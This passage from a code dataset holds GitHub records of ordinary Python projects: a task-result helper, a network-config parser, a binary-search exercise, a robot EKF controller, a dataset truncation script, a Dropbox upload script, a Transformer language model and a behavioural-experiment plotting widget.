handler: TaskHandler,\n                 task_id: str):\n        ...\n\n    @overload\n    def __init__(self,\n                 backend: Backend,\n                 handler: TaskHandler,\n                 task_id: str,\n                 *,\n                 result: T):\n        ...\n\n    def __init__(self,\n                 backend: Backend,\n                 handler: TaskHandler,\n                 task_id: str,\n                 result: Union[T, _Sentinel] = _Sentinel.obj):\n        self.backend = backend\n        self.handler = handler\n        self.task_id = task_id\n        self._result = result\n\n    def get(self,\n            timeout: Optional[float] = None,\n            avoid_assertion: bool = False) -> T:\n        if not avoid_assertion:\n            prevent, reason = _prevent_to_wait_result.get()\n            if prevent:\n                raise ResultGetPrevented(reason)\n\n        if not isinstance(self._result, _Sentinel):\n            return cast(T, self._result)\n\n        try:\n            return self.__get()\n        except NoResult:\n            pass\n\n        i = 0\n        t = time()\n        while timeout is None or (time() - t) < timeout:\n            try:\n                return self.__get()\n            except NoResult:\n                sleep(min(i * 0.1, 1))\n        raise ResultGetTimedOut()\n\n    def __get(self) -> T:\n        task, encoded = self.backend.get_result(self.task_id)\n        ret = self.handler.decode_result(task, encoded)\n        self._result = ret\n        return ret\n","repo_name":"saryou/taskkit","sub_path":"taskkit/result.py","file_name":"result.py","file_ext":"py","file_size_in_byte":2337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1651785219","text":"from .ScannerInterface import ScannerInterface\r\n\r\nclass ScannerInterface_vlan(ScannerInterface):\r\n\tdef __init__(self, section):\r\n\t\ttry:\r\n\t\t\tScannerInterface.__init__(self, section)\r\n\t\texcept:\r\n\t\t\tsuper().__init__(section)\r\n\t\tself.vlan_id = int(self.if_name.lower().split('vlan')[1])\r\n\t\tself.ip_address = None\r\n\t\tfor line in section:\r\n\t\t\tline = line.strip().lower()\r\n\t\t\tself.set_addressIP(line)\r\n\r\n\tdef get_vlanID(self):\r\n\t\treturn self.vlan_id\r\n\r\n\tdef get_dict(self):\r\n\t\ttry:\r\n\t\t\tdict_ = ScannerInterface.get_dict(self)\r\n\t\texcept:\r\n\t\t\tdict_ = super().get_dict()\r\n\t\tdict_['vlan_id'] = self.vlan_id\r\n\t\tdict_['ip_address'] = self.ip_address\r\n\t\treturn dict_\r\n","repo_name":"dhong639/Cisco_Visualization","sub_path":"app/ns_scan_captures/ScannerInterface_vlan.py","file_name":"ScannerInterface_vlan.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34363116027","text":"#이진탐색\n#숫자카드2\n\nimport sys\n\nnl = int(input())\nN = sorted(map(int, sys.stdin.readline().split()))\nml = int(input())\nM = list(map(int, sys.stdin.readline().split()))\n\ncount = []\n\ndef binary(n, N, start, end):\n    if start > end:\n        re\n    mid = (start+ end)//2\n    if n == N[mid]:\n        return N[start:end+1].count(n)\n    elif n < N[mid]:\n        return binary(n, N , start, mid-1)\n    else:\n        return binary(n, N, mid+1, end)\n\ncnt = {}\nfor n in N:\n    start = 0\n    end = len(N)- 1\n    if n not in cnt:\n        cnt[n] = binary(n, N, start, end)\n\nprint(' '.join(str(cnt[x]) if x in cnt else '0' for x in M))","repo_name":"kimssumin/algorithm","sub_path":"BOJ_10816.py","file_name":"BOJ_10816.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"23902690570","text":"\"\"\"my_controller controller.\"\"\"\n\n# You may need to import some classes of the controller module. Ex:\n#  from controller import Robot, Motor, DistanceSensor\n# from controller import Node\n# from controller import Robot\nfrom controller import Supervisor\nfrom controller import CameraRecognitionObject\n# from scipy.stats.distributions import chi2\n# import matplotlib.pyplot as plt\nimport numpy as np\nimport math\nimport sys\n\n\nclass EKF(object):\n    def __init__(self):\n        self.Sigma_n = np.zeros((2, 2))\n        self.Sigma_m = None\n        self.Sigma_x_t = np.zeros((3, 3))\n        self.x_hat_t = None\n        self.std_n_v = 0.001\n        self.std_n_omega = (np.pi / 360)\n        self.Sigma_x_t[0, 0], self.Sigma_x_t[1, 1], self.Sigma_x_t[2, 2] = 0.01, 0.01, np.pi / 90\n        self.Sigma_n[0, 0] = self.std_n_v * self.std_n_v\n        self.Sigma_n[1, 1] = self.std_n_omega * self.std_n_omega\n        self.std_m = 0.05\n        self.Sigma_m = [[self.std_m * self.std_m, 0], [0, self.std_m * self.std_m]]\n\n    def EKFPropagate(self, u, dt):\n        # TODO: Calculate the robot state estimation and variance for the next timestep\n\n        self.x_hat_t[0] += (dt * (u[0]) * np.cos(self.x_hat_t[2]))\n        self.x_hat_t[1] += (dt * (u[0]) * np.sin(self.x_hat_t[2]))\n        self.x_hat_t[2] += (dt * (u[1]))\n\n        phi = np.zeros((3, 3))\n        phi[0, 0], phi[0, 1], phi[0, 2] = 1, 0, -dt * (u[0] * np.sin(self.x_hat_t[2]))\n        phi[1, 0], phi[1, 1], phi[1, 2] = 0, 1, dt * (u[0] * np.cos(self.x_hat_t[2]))\n        phi[2, 0], phi[2, 1], phi[2, 2] = 0, 0, 1\n\n        g = np.zeros((3, 2))\n\n        g[0, 0], g[0, 1] = -dt * np.cos(self.x_hat_t[2]), 0\n        g[1, 0], g[1, 1] = -dt * np.sin(self.x_hat_t[2]), 0\n        g[2, 0], g[2, 1] = 0, -dt\n\n        self.Sigma_x_t = (phi @ self.Sigma_x_t @ phi.T) + (g @ self.Sigma_n @ g.T)\n        return self.x_hat_t, self.Sigma_x_t\n\n    def EKFRelPosUpdate(self, G_p_L, z):\n        # TODO: Update the robot state estimation and variance based on the received measurement\n        th = self.x_hat_t[2]\n        C = np.zeros((2, 2))\n        C[0, 0] = np.cos(th)\n        C[0, 1] = -np.sin(th)\n        C[1, 0] = np.sin(th)\n        C[1, 1] = np.cos(th)\n\n        G_p_L = np.reshape(G_p_L, (3, 1))\n        G_p_Li = np.zeros((2, 1))\n        G_p_Li[0, 0], G_p_Li[1, 0] = G_p_L[0, 0], G_p_L[1, 0]\n\n        G_p_R = np.zeros((2, 1))\n        G_p_R[0, 0] = self.x_hat_t[0]\n        G_p_R[1, 0] = self.x_hat_t[1]\n\n        z_est = (C.T @ (G_p_Li - G_p_R))\n        z = np.reshape(z, (2, 1))\n        r = z - z_est\n\n        H = np.zeros((2, 3))\n        H[0, 0] = -np.cos(th)\n        H[0, 1] = -np.sin(th)\n        H[0, 2] = (np.cos(th) * (G_p_Li[1, 0] - G_p_R[1, 0])) - (np.sin(th) * (G_p_Li[0, 0] - G_p_R[0, 0]))\n        H[1, 0] = np.sin(th)\n        H[1, 1] = -np.cos(th)\n        H[1, 2] = -(np.sin(th) * (G_p_Li[1, 0] - G_p_R[1, 0])) - (np.cos(th) * (G_p_Li[0, 0] - G_p_R[0, 0]))\n\n        S = (H @ self.Sigma_x_t @ H.T) + self.Sigma_m\n\n        K = self.Sigma_x_t @ H.T @ np.linalg.inv(S)\n\n        I = np.eye(3, dtype=float)\n        self.Sigma_x_t = ((I - (K @ H)) @ self.Sigma_x_t @ np.transpose((I - (K @ H)))) + (\n                K @ self.Sigma_m @ np.transpose(K))\n        temp = np.reshape(self.x_hat_t, (3, 1))\n        temp = temp + (K @ r)\n        self.x_hat_t = np.reshape(temp, (1, 3))\n        self.x_hat_t = self.x_hat_t[0]\n\n        # return self.x_hat_t, self.Sigma_x_t\n\n\nclass EPuck(object):\n\n    def __init__(self, wheelRadius, axleLength):\n        self.position = None\n        self.orientation = None\n        self.wheelRadius = wheelRadius\n        self.axleLength = axleLength\n        self.G_goal = None\n        self.R_goal = None\n        self.G_T_R = None\n        self.R_T_G = None\n        self.bearing = None\n        self.heading = 0.0\n        self.Orientation_Flag = False\n        self.vel = 0\n        pass\n\n    def set_goal(self, goal):\n        self.G_goal = np.reshape(np.array([goal[0], goal[1], 0, 1]), (4, 1))\n\n    def rotMat(self, theta):\n        c, s = np.cos(theta), np.sin(theta)\n        return np.array([[c, -s, 0], [s, c, 0], [0, 0, 1]])\n\n    def update_pose(self, x_hat_t):\n        G_R_R = self.rotMat(x_hat_t[2])\n        G_pos_R = np.zeros((4, 1))\n        G_pos_R[0, 0], G_pos_R[1, 0], G_pos_R[2, 0], G_pos_R[3, 0] = x_hat_t[0], x_hat_t[1], 0, 1\n        self.position = G_pos_R\n        self.orientation = G_R_R\n        self.G_T_R = np.zeros((4, 4))\n        self.G_T_R[0] = G_R_R[0, 0], G_R_R[0, 1], G_R_R[0, 2], G_pos_R[0, 0]\n        self.G_T_R[1] = G_R_R[1, 0], G_R_R[1, 1], G_R_R[1, 2], G_pos_R[1, 0]\n        self.G_T_R[2] = G_R_R[2, 0], G_R_R[2, 1], G_R_R[2, 2], G_pos_R[2, 0]\n        self.G_T_R[3] = 0, 0, 0, 1\n        self.R_T_G = np.linalg.inv(self.G_T_R)\n\n    def get_dist(self, target_pos):\n        dist = np.linalg.norm(self.position - target_pos)\n        return dist\n\n    def update_bearing(self):\n        self.R_goal = self.R_T_G @ self.G_goal\n        self.bearing = np.arctan2(self.R_goal[1, 0], self.R_goal[0, 0])\n\n    def get_wheelSpeed(self, omega, lin_vel):\n        wd = omega * self.axleLength * 0.5\n        print(\"wheel velocities \",lin_vel - wd , lin_vel + wd)\n        print(\"heading,omega,diff \",myPuck.heading,omega,omega-myPuck.heading)\n        # if wd > 0.027:\n        #     wd = 0.027\n        return lin_vel - wd, lin_vel + wd\n\n    def get_li_bearing(self):\n        if self.bearing >= np.radians(90):\n            li_bearing = np.radians(90)\n        elif self.bearing <= np.radians(-90):\n            li_bearing = np.radians(-90)\n        else:\n            li_bearing = self.bearing\n        return li_bearing\n\n    def epuck_controller(self, ranges):\n        linear_vel = 0.06\n        angular_vel = 0.5\n        li_bearing = self.get_li_bearing()\n        if not self.Orientation_Flag:\n            if np.abs(self.bearing) > np.radians(1):\n                self.heading = angular_vel\n                self.vel = 0\n                # print(\"turning\", self.heading, self.vel)\n                return\n            else:\n                self.Orientation_Flag = True\n                print(\"Oriented\")\n        if np.mean(ranges[(255 - 24):(255 + 24)]) > 0.1:\n            # print(\"if2\")\n            if ranges[255 - (int(np.degrees(li_bearing) / l_d))] > 0.2 and (ranges[255 + 128] > 0.2) and (\n                    ranges[255 - 128] > 0.2):\n                # print(\"if3\")\n                self.heading = 0.5*li_bearing\n                self.vel = linear_vel\n                print(\"bearing\",li_bearing)\n                # if np.abs(li_bearing)<np.radians(1):\n                #     self.heading = li_bearing\n                #     self.vel = linear_vel\n                # else:\n                #     self.heading = 0.5*li_bearing\n                #     self.vel = linear_vel\n            elif (ranges[255 + 128] > 0.13) and (ranges[255 - 128] > 0.13):\n                # print(\"if4\")\n                self.heading = 0\n                self.vel = linear_vel\n            else:\n                # print(\"else4\")\n                self.heading = lidar_out(ranges)\n                self.vel = 0\n        else:\n            # print(\"else2\")\n            self.heading = lidar_out(ranges)\n            self.vel = 0\n\n\ndef lidar_out(li_ranges):\n    turn_vel = 0.5\n    if np.abs(li_ranges[0] - li_ranges[511]) > 0.1:\n        if li_ranges[0] >= li_ranges[511]:\n            # print(\"turning Left\")\n            heading = turn_vel\n        else:\n            # print(\"turning Right\")\n            heading = -turn_vel\n    else:\n        if np.abs(np.mean(li_ranges[0:255]) - np.mean(li_ranges[255:511])) > 0.3:\n            if np.mean(li_ranges[0:255]) >= np.mean(li_ranges[255:511]):\n                # print(\"turning Left\")\n                heading = turn_vel\n            else:\n                # print(\"turning Right\")\n                heading = -turn_vel\n        else:\n            # print(\"turning Left\")\n            heading = turn_vel\n    return heading\n\n\ndef get_temporarygoal(recObjs, recObjsNum):\n    thetas = np.zeros(recObjsNum)\n    if recObjsNum != 0:\n\n        for i in range(0, recObjsNum):\n            landmark = robot.getFromId(recObjs[i].get_id())\n            thetas[i] = posOfImgToBearing(recObjs[i].get_position_on_image()[0])\n            G_p_L = landmark.getPosition()\n            return G_p_L ,thetas\n            # print(G_p_L)\n            pass\n    else:\n        # print(\"No objects found\")\n        G_p_L = GOAL\n        pass\n\n    return G_p_L , thetas\n\ndef posOfImgToBearing(x):\n    # TODO: Calculate the bearing measurement based on landmark's position on image\n    fov = 0.84  # the field of view of the camera (rad)\n    w = 640  # the width of camera (pixels)\n    d = (0.5 * w) / np.tan(0.5 * fov)\n    R_th_Li = np.arctan2((0.5 * w) - x, d)\n    return R_th_Li\n\n\nif __name__ == \"__main__\":\n\n    # Create EPuck object\n    global GOAL\n    # goal_x = float(input(\"Enter X Co-ordinate of the Goal: \"))\n    # goal_y = float(input(\"Enter X Co-ordinate of the Goal: \"))\n    goal_x = 2.86\n    goal_y = -0.12\n    thetas = np.zeros(0)\n\n    GOAL = [goal_x, goal_y]\n    goal_waypoint = GOAL\n    wheelRadius = 0.0205\n    axleLength = 0.0568  # Data from Webots website seems wrong. The real axle length should be about 56-57mm\n    # TODO: Update Frequency has to be looked into\n    updateFreq = 100  # update every 200 timesteps\n    counter = 0\n    myPuck = EPuck(wheelRadius, axleLength)\n    myPuck_EKF = EKF()\n\n    # Set Destination Goal\n    myPuck.set_goal(goal_waypoint)\n    # create the Robot instance.\n    robot = Supervisor()\n    camera = robot.getDevice('camera')\n    camera.enable(1)\n    camera.recognitionEnable(1)\n    camera.enableRecognitionSegmentation()\n    lidar = robot.getDevice('lidar')\n    lidar.enable(1)\n    lidar.enablePointCloud()\n\n    if camera.hasRecognition():\n        camera.recognitionEnable(1)\n        camera.enableRecognitionSegmentation()\n    else:\n        print(\"Your camera does not have recognition\")\n\n    # get the time step of the current world.\n    timestep = int(robot.getBasicTimeStep())\n    leftMotor = robot.getDevice('left wheel motor')\n    rightMotor = robot.getDevice('right wheel motor')\n    leftMotor.setPosition(float('inf'))\n    rightMotor.setPosition(float('inf'))\n\n    # Initialise Variables\n    dt = timestep / 1000.0\n    # vel = 0\n    l_d = 180 / 512\n\n    # Initialise Robot\n    robotNode = robot.getFromDef(\"e-puck\")\n    G_p_R = robotNode.getPosition()\n    G_ori_R = robotNode.getOrientation()\n    G_ori_R = np.reshape(G_ori_R, (3, 3))\n    theta = np.arctan2(G_ori_R[1, 0], G_ori_R[0, 0])\n    myPuck_EKF.x_hat_t = np.array([G_p_R[0], G_p_R[1], theta])\n\n    # Main loop:\n    # - perform simulation steps until Webots is stopping the controller\n    while robot.step(timestep) != -1:\n\n        left_v, right_v = myPuck.get_wheelSpeed(myPuck.heading + np.random.normal(0, myPuck_EKF.std_n_omega),\n                                                myPuck.vel + np.random.normal(0, myPuck_EKF.std_n_v))\n\n        # left_v, right_v = myPuck.get_wheelSpeed(myPuck.heading,\n        #                                         myPuck.vel)\n        # print(left_v,right_v)\n        leftMotor.setVelocity(left_v / myPuck.wheelRadius)\n        rightMotor.setVelocity(right_v / myPuck.wheelRadius)\n        u = np.array([myPuck.vel, myPuck.heading])\n        myPuck_EKF.EKFPropagate(u, dt)\n        # print(myPuck_EKF.x_hat_t)\n\n        recObjs = camera.getRecognitionObjects()\n        recObjsNum = camera.getRecognitionNumberOfObjects()\n        z_pos = np.zeros((recObjsNum, 2))  # relative position measurements\n\n        if counter % updateFreq == 0:\n            counter = 0\n            thetas = np.zeros(recObjsNum)\n            for i in range(0, recObjsNum):\n\n                landmark = robot.getFromId(recObjs[i].get_id())\n                G_p_Land = landmark.getPosition()\n                thetas[i] = posOfImgToBearing(recObjs[i].get_position_on_image()[0])\n                rel_lm_trans = landmark.getPose(robotNode)\n\n                std_m = 0.05\n                Sigma_m = [[std_m * std_m, 0], [0, std_m * std_m]]\n                z_pos[i] = [rel_lm_trans[3] + np.random.normal(0, std_m), rel_lm_trans[7] + np.random.normal(0, std_m)]\n                myPuck_EKF.EKFRelPosUpdate(G_p_Land, z_pos[i])\n        counter = counter + 1\n\n        myPuck.update_pose(myPuck_EKF.x_hat_t)\n        myPuck.update_bearing()\n\n        ranges = np.array(lidar.getRangeImage())\n        ranges[ranges == math.inf] = 3\n\n        # GPL, th = get_temporarygoal(recObjs, recObjsNum)\n        if thetas.size != 0:\n            myPuck.bearing = np.max(thetas)\n        # myPuck.set_goal()\n\n        # Turn Towards the target\n        myPuck.epuck_controller(ranges)\n        target_pos = np.reshape(np.array([GOAL[0], GOAL[1], 0, 1]), (4, 1))\n        delta_dist = myPuck.get_dist(target_pos)\n        # print(delta_dist)\n        if delta_dist < 0.1:\n            print(\"Congratulation!! e-Puck reached the Goal\")\n            quit()\n    pass\n# Enter here exit cleanup code.\n","repo_name":"glsrujan/Epuck_Navigation","sub_path":"src/controllers/epuck_controller/epuck_controller.py","file_name":"epuck_controller.py","file_ext":"py","file_size_in_byte":12879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17970907006","text":"import pkg_resources\nimport argparse\nimport os\n\n\ndef truncate_wikibio_files(orig, dest, setname, length=10):\n    assert setname in ['train', 'valid', 'test']\n    assert int(length) == length and length > 0  # check positiv int\n    \n    # files with 1 example per line\n    for suffix in ['input.txt', 'output.txt', 'tables.jl']:\n        origpath = os.path.join(orig, f'{setname}_{suffix}')\n        destpath = os.path.join(dest, f'{setname}_{suffix}')\n        with open(origpath, mode=\"r\", encoding='utf8') as f, \\\n                open(destpath, mode=\"w\", encoding='utf8') as g:\n            for idx, line in enumerate(f):\n                if idx >= length:\n                    break\n                g.write(line)\n                \n    # files with one token per line\n    for suffix in ['pos.txt']:\n        origpath = os.path.join(orig, f'{setname}_{suffix}')\n        destpath = os.path.join(dest, f'{setname}_{suffix}')\n        with open(origpath, mode=\"r\", encoding='utf8') as f, \\\n                open(destpath, mode=\"w\", encoding='utf8') as g:\n            nline = 0\n            for tokens in f:\n                if tokens.strip():\n                    g.write(tokens.strip() + '\\n')\n                else:\n                    g.write('\\n')\n                    nline += 1\n                    if nline >= length: break\n\n\nif __name__ == '__main__':\n    \n    parser = argparse.ArgumentParser()\n    parser.add_argument('--folder', dest='folder',\n                        help='Name of the folder to put the truncated files'\n                        ' (will be inside wikibio/)')\n    parser.add_argument('--max_size', dest='max_size', type=float, default=1e3,\n                        help='How many lines to keep')\n    parser.add_argument('--setnames', dest='setnames', nargs='+',\n                        help='Specify any combinason of [train, valid, test]')\n    \n    args = parser.parse_args()\n\n    orig = pkg_resources.resource_filename(__name__, 'wikibio')\n    dest = os.path.join(orig, args.folder)\n    if not os.path.exists(dest): os.mkdir(dest)\n\n    for setname in args.setnames:\n        truncate_wikibio_files(orig, dest, setname, args.max_size)\n","repo_name":"KaijuML/dtt-multi-branch","sub_path":"data/truncate_wikibio.py","file_name":"truncate_wikibio.py","file_ext":"py","file_size_in_byte":2142,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"60"}
+{"seq_id":"358621519","text":"import dropbox\r\nimport os\r\nclass TransferData:\r\n    def __init__(self,access_token):\r\n        self.access_token = access_token\r\n\r\n    def upload_file(self,file_from,file_to):\r\n        dbx = dropbox.Dropbox(self.access_token)\r\n\r\n        f = open(file_from,'rb')\r\n        dbx.files_upload(f.read(),file_to)\r\n\r\n        \r\n\r\n\r\ndef main():\r\n    access_token = ''\r\n    transferData = TransferData( access_token)\r\n\r\n    file_from = input(\"enter the file path to transfer: \")\r\n    file_to = input(\"enter the file path  to upload: \") \r\n\r\n    transferData.upload_file(file_from,file_to)\r\n    print(\"file has been moved\")\r\n\r\n    for root, dirs, files in os.walk(file_from):\r\n        relative_path = os.path.relpath(local_path,file_from)\r\n        dropbox_path = os.path.join(file_to,relative_path)\r\n\r\nmain()\r\n","repo_name":"ISHITA-SHAW/A101","sub_path":"uploadFiles.py","file_name":"uploadFiles.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39917656673","text":"import math\nfrom typing import Tuple\n\nimport torch\nfrom torch import nn, Tensor\nimport torch.functional as F\nfrom torch.nn import TransformerEncoder, TransformerEncoderLayer\n\n\nclass TransformerLM(nn.Module):\n    def __init__(self, vocab_size: int, d_model: int, heads_num: int, d_hid: int,\n                 layers_num: int, dropout:float=0.5):\n        super().__init__()\n        self.model_type = 'Transformer'\n        self.position_encoder = PositionalEncoding(d_model, dropout)\n        self.encoder_layers = TransformerEncoderLayer(d_model, heads_num, d_hid, dropout)\n        self.transformer_encoder = TransformerEncoder(self.encoder_layers, layers_num)\n        self.embed_encoder = nn.Embedding(vocab_size, d_model)\n        self.d_model = d_model\n        self.linear_decoder = nn.Linear(d_model, vocab_size)\n\n        self.init_weights()\n\n    def init_weights(self) -> None:\n        init_range = 0.1\n        self.embed_encoder.weight.data.uniform_(-init_range, init_range)\n        self.linear_decoder.bias.data.zero_()\n        self.linear_decoder.weight.data.uniform_(-init_range, init_range)\n\n    def forward(self, src: Tensor, src_mask: Tensor) -> Tensor:\n        \"\"\"\n\n        :param src: Tensor, shape [seq_len, batch_size]\n        :param src_mask: Tensor, shape [seq_len, seq_len]\n\n        :return: output Tensor of shape [seq_len, batch_size, vocab_size]\n        \"\"\"\n        src = self.embed_encoder(src)\n        src *= math.sqrt(self.d_model)\n        src = self.position_encoder(src)\n        output = self.transformer_encoder(src, src_mask)\n        output = self.linear_decoder(output)\n        return output\n\n\ndef generate_mask_matrix(size: int) -> Tensor:\n    \"\"\"\n    Generates an upper-triangular matrix of -inf, with zeros on diag.\n    :param size: matrix size\n    :return: mask tensor\n    \"\"\"\n    return torch.triu(torch.ones(size,size) * float('-inf'), diagonal=1)\n\n\nclass PositionalEncoding(nn.Module):\n    def __init__(self, d_model: int, dropout: float = 0.1, max_len:int = 5000):\n        super().__init__()\n        self.dropout = nn.Dropout(p=dropout)\n        position = torch.arange(max_len).unsqueeze(1)\n        div_term = torch.exp(torch.arange(0,d_model,2) * (-math.log(10000.0)/d_model))\n        position_embeds = torch.zeros(max_len, 1, d_model)\n        position_embeds[:, 0, 0::2] = torch.sin(position * div_term)\n        position_embeds[:, 0, 1::2] = torch.cos(position * div_term)\n        self.register_buffer('position_embeds', position_embeds) # Saved to state_dict\n        # but stayed fixed and won't be updated by the optimizer\n\n    def forward(self, x: Tensor) -> Tensor:\n        \"\"\"\n        :param x: Tensor, shape [seq_len, batch_size, embeddings_dim]\n        :return: the tensor x summed with the position embeddings\n        \"\"\"\n        x = x + self.position_embeds[:x.size(0)]\n        return self.dropout(x)\n","repo_name":"shanybar/pytorch_transformer_LM","sub_path":"src/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"37221496506","text":"import logging\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport random\nimport traceback\n\nfrom confapp import conf\n\nfrom pyforms.basewidget import BaseWidget\nfrom pyforms.controls import ControlProgress\nfrom pyforms.controls import ControlButton\nfrom pyforms.controls import ControlCheckBox\nfrom pyforms.controls import ControlList\nfrom pyforms.controls import ControlBoundingSlider\nfrom pyforms.controls import ControlMatplotlib\nfrom AnyQt.QtWidgets import QApplication\nfrom AnyQt.QtGui import QColor, QBrush\nfrom AnyQt.QtCore import QTimer, QEventLoop, QAbstractTableModel, Qt, QSize, QVariant, pyqtSignal\n\n#######################################################################\n##### MESSAGES TYPES ##################################################\n#######################################################################\nfrom pybpodapi.com.messaging.error   import ErrorMessage\nfrom pybpodapi.com.messaging.debug   import DebugMessage\nfrom pybpodapi.com.messaging.stderr  import StderrMessage\nfrom pybpodapi.com.messaging.stdout  import StdoutMessage\nfrom pybpodapi.com.messaging.warning import WarningMessage\nfrom pybpodapi.com.messaging.parser  import MessageParser\n\nfrom pybpodapi.com.messaging.trial                  import Trial\nfrom pybpodapi.com.messaging.end_trial              import EndTrial\nfrom pybpodapi.com.messaging.event_occurrence       import EventOccurrence\nfrom pybpodapi.com.messaging.state_occurrence       import StateOccurrence\nfrom pybpodapi.com.messaging.softcode_occurrence    import SoftcodeOccurrence\nfrom pybpodapi.com.messaging.event_resume           import EventResume\nfrom pybpodapi.com.messaging.session_info           import SessionInfo\n#######################################################################\n#######################################################################\nfrom pybpodapi.session import Session as APISession\nfrom pybpodgui_api.models.session import Session\n\nfrom matplotlib import colors as mcolors\n\nclass TrialTimeline(BaseWidget):\n\n    COL_MSGTYPE   = 0\n    COL_PCTIME    = 1\n    COL_INITTIME  = 2\n    COL_FINALTIME = 3\n    COL_MSG       = 4\n    COL_INFO      = 5\n\n    def __init__(self, session : Session):\n        BaseWidget.__init__(self, session.name)\n        self.set_margin(5)\n\n        self.session = session\n\n        self._reload = ControlButton('Reload')\n        self._graph  = ControlMatplotlib('Value')\n\n        self._timer = QTimer()\n        self._timer.timeout.connect(self.update)\n        \n        self._read = 0\n        self._deltas = None\n\n        self._last_trial_end = None\n        \n        self._states_dict = {}\n        self._trials_list = []\n        \n        self.formset = [\n            '_graph'            \n        ]\n        self.colors = list(mcolors.CSS4_COLORS.values())\n        \n        self._graph.on_draw = self.__on_draw_evt\n        self._reload.value = self.__reload_evt\n\n    \n    \n    def __reload_evt(self):\n        if self._timer.isActive():\n            self._timer.stop()\n        else:\n            self._timer.start(conf.TRIALTIMELINE_PLUGIN_REFRESH_RATE)\n\n    \n    def show(self, detached = False):\n        if self.session.is_running and self.session.setup.detached:\n            return\n        \n        # Prevent the call to be recursive because of the mdi_area\n        if not detached:\n            if hasattr(self, '_show_called'):\n                BaseWidget.show(self)\n                return\n            self._show_called = True\n            self.mainwindow.mdi_area += self\n            del self._show_called\n        else:\n            BaseWidget.show(self)\n        \n        self._stop = False # flag used to close the gui in the middle of a loading\n        if not self._stop and self.session.is_running:\n            self._timer.start(conf.TRIALTIMELINE_PLUGIN_REFRESH_RATE)\n\n        self.update()\n\n    def hide(self):\n        self._timer.stop()\n        self._stop = True\n\n    def read_data(self):\n        \n        res = self.session.data.query(\"TYPE in ['END-TRIAL', 'STATE'] or (TYPE == 'INFO' and MSG in ['SESSION-ENDED','TRIAL-BPOD-TIME'])\")\n\n        for index, msg in res.iterrows():\n            if index<=self._read: continue\n            \n            if msg[self.COL_MSGTYPE] == EndTrial.MESSAGE_TYPE_ALIAS:\n                \n                if self._deltas is not None:\n                    self._trials_list.append(self._deltas)\n                self._deltas = {}\n                \n            elif msg[self.COL_MSGTYPE] == StateOccurrence.MESSAGE_TYPE_ALIAS:\n\n                state = msg[self.COL_MSG]\n                delta = float(msg[self.COL_FINALTIME]) - float(msg[self.COL_INITTIME])\n\n                if state not in self._deltas:\n                    # count, delta sum, min delta, max delta\n                    self._deltas[state] = [delta]\n                    self._states_dict[state] = True\n                else:\n                    self._deltas[state].append(delta)\n\n            elif msg[self.COL_MSGTYPE] == SessionInfo.MESSAGE_TYPE_ALIAS and \\\n                 msg[self.COL_MSG]     == APISession.INFO_SESSION_ENDED:\n\n                if self._deltas is not None:\n                    self._trials_list.append(self._deltas)\n\n            elif msg[self.COL_MSGTYPE] == SessionInfo.MESSAGE_TYPE_ALIAS and \\\n                 msg[self.COL_MSG] == APISession.INFO_TRIAL_BPODTIME:\n                \n                trial_start = msg[self.COL_INITTIME]\n                trial_end   = msg[self.COL_FINALTIME]\n\n                if self._last_trial_end is not None:\n                    delta                             = float(trial_start)-float(self._last_trial_end)\n                    self._deltas['Init lagging']      = [delta]\n                    self._states_dict['Init lagging'] = True\n\n                self._last_trial_end = trial_end            \n\n\n            self._read = index\n        \n\n        \n\n\n    def __on_draw_evt(self, figure):\n\n        try:\n            axes = figure.add_subplot(111)\n            axes.clear()\n\n            trials_labels  = []\n            states_labels  = list(self._states_dict.keys())\n\n            num_states = len(self._states_dict)\n            num_trials = len(self._trials_list)\n            data       = np.zeros( (num_states, num_trials) )\n            errors     = np.zeros( (num_states, num_trials) )\n            \n            for i, states in enumerate(self._trials_list):\n                trials_labels.append( 'Trial {0}'.format(i) )\n\n                for j, state_label in enumerate(states_labels):\n\n                    state_data = states.get(state_label, None)\n\n                    if state_data is not None:\n                        data[j][i]   = np.mean(state_data)\n                        errors[j][i] = np.std(state_data)\n\n            colors         = {}\n            offset         = np.zeros( len(trials_labels) )\n            trials_indexes = np.array(range(len(trials_labels)))\n\n            for i, states_data in enumerate(data):\n                if len(states_data)==0: continue\n\n                state_label = states_labels[i]\n                if state_label not in colors:\n                    colors[state_label] = self.colors[len(colors)]\n\n                axes.barh(\n                    trials_indexes,\n                    states_data,\n                    height = 0.8,\n                    color  = colors[state_label],\n                    left   = offset,\n                    label  = state_label,\n                    yerr   = errors[i]\n                )\n                offset = offset + states_data\n            \n            axes.set_yticks(trials_indexes)\n            axes.set_yticklabels(trials_labels)\n            axes.set_ylabel('Trials')\n            axes.set_xlabel('Time (sec)')\n            axes.legend(loc=\"upper right\")\n            self._graph.repaint()\n        except:\n            self.critical( traceback.format_exc(), 'An error occurred')\n\n                \n    '''Takes care of all the session data and transforms it in a graph to be shown in the GUI'''\n    def update(self):\n        if not self.session.is_running:\n            self._timer.stop()\n        self.read_data()\n        self._graph.draw()\n    \n    @property\n    def mainwindow(self):\n        return self.session.mainwindow\n\n    \n    @property\n    def title(self):\n        return BaseWidget.title.fget(self)\n    \n    \n    @title.setter\n    def title(self, value):\n        BaseWidget.title.fset(self, 'Trial Timeline: {0}'.format(value))\n\n    ","repo_name":"int-brain-lab/iblpybpod","sub_path":"src/pybpodgui_plugin_trial_timeline/trial_timeline.py","file_name":"trial_timeline.py","file_ext":"py","file_size_in_byte":8395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
